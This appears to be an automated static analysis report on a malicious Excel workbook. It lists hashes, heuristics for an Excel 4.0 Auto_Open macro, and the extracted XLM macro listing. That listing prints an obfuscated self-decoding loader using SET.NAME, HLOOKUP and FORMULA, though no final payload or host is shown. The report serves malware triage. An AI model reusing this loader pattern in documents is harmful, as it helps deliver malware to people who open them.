Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a1030f9711b6bf0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 40c4eef3f90b5b3dc8e2db9d8dcfb748 SHA-1: 345318510bc30202a15256a52bc45429edf584ca SHA-256: 7a1030f9711b6bf0c266b7c5640d9c3b036297963a872d8dd9c7146af857d063
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6386 bytes
SHA-256: 455a9b2570e2a22b02c1090dea5e2beab6ca9e673be76350ac87290af4528f70
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  vIU
' 0018     23 LABEL : Cell Value, String Constant - AbxmpJBB len=0 
' 0018     24 LABEL : Cell Value, String Constant - ajUWGHCKG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F170 
' 0018     21 LABEL : Cell Value, String Constant - aXFcHA len=0 
' 0018     27 LABEL : Cell Value, String Constant - CFRGXNLCjzqy len=0 
' 0018     20 LABEL : Cell Value, String Constant - JpOAC len=0 
' 0018     22 LABEL : Cell Value, String Constant - KbZORyl len=0 
' 0018     24 LABEL : Cell Value, String Constant - keOuJnqQI len=0 
' 0018     27 LABEL : Cell Value, String Constant - KrKGgMXcaIlV len=0 
' 0018     26 LABEL : Cell Value, String Constant - KsSQIKivCdS len=0 
' 0018     27 LABEL : Cell Value, String Constant - LCuYvteuBuFL len=0 
' 0018     27 LABEL : Cell Value, String Constant - NfUHPQlBDEMD len=0 
' 0018     22 LABEL : Cell Value, String Constant - NnQtIse len=0 
' 0018     22 LABEL : Cell Value, String Constant - OmmzTSl len=0 
' 0018     23 LABEL : Cell Value, String Constant - PfkSSRwR len=0 
' 0018     25 LABEL : Cell Value, String Constant - QTGMAETaMw len=0 
' 0018     25 LABEL : Cell Value, String Constant - qwikxynuol len=0 
' 0018     22 LABEL : Cell Value, String Constant - RLqnYzv len=0 
' 0018     20 LABEL : Cell Value, String Constant - WTVrI len=0 
' 0018     21 LABEL : Cell Value, String Constant - XYhMSq len=0 
' 0018     24 LABEL : Cell Value, String Constant - yrSMwxrEZ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  vIU,F85,"SET.NAME("KsSQIKivCdS",VALUE("0"))",""
'  vIU,F89,"SET.NAME("KrKGgMXcaIlV",KsSQIKivCdS)",""
'  vIU,F92,"SET.NAME("NnQtIse",KsSQIKivCdS)",""
'  vIU,F94,"SET.NAME("aXFcHA",COUNTA(keOuJnqQI))",""
'  vIU,F97,"SET.NAME("NfUHPQlBDEMD",COUNTA(KbZORyl))",""
'  vIU,F99,[],""
'  vIU,F102,"SET.NAME("RLqnYzv","")",""
'  vIU,F107,"KrKGgMXcaIlV",""
'  vIU,F112,"SET.NAME("QTGMAETaMw",HLOOKUP("*",keOuJnqQI,KrKGgMXcaIlV,FALSE))",""
'  vIU,F116,"PfkSSRwR",""
'  vIU,F119,"SET.NAME("XYhMSq",KsSQIKivCdS)",""
'  vIU,F123,[],""
'  vIU,F128,"XYhMSq",""
'  vIU,F133,"OmmzTSl",""
'  vIU,F135,"LCuYvteuBuFL",""
'  vIU,F137,"WTVrI",""
'  vIU,F139,"SET.NAME("qwikxynuol",VALUE(HLOOKUP("*",KbZORyl,WTVrI,FALSE)))",""
'  vIU,F141,"JpOAC",""
'  vIU,F143,"RLqnYzv",""
'  vIU,F147,"NnQtIse",""
'  vIU,F150,NEXT(),""
'  vIU,F152,"ajUWGHCKG",""
'  vIU,F157,"SET.NAME("f",INT(T(FORMULA(T(RLqnYzv)&"",""&T(ajUWGHCKG)))))",""
'  vIU,F161,"CFRGXNLCjzqy",""
'  vIU,F166,NEXT(),""
'  vIU,F168,RETURN(),""
'  vIU,F195,"SET.NAME("yrSMwxrEZ",F85)",""
'  vIU,F199,"keOuJnqQI",""
'  vIU,F201,"SET.NAME("KbZORyl",R57C14)",""
'  vIU,F203,"SET.NAME("CFRGXNLCjzqy",213)",""
'  vIU,F208,"SET.NAME("AbxmpJBB",6)",""
'  vIU,F212,yrSMwxrEZ(),""
'  vIU,F213,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.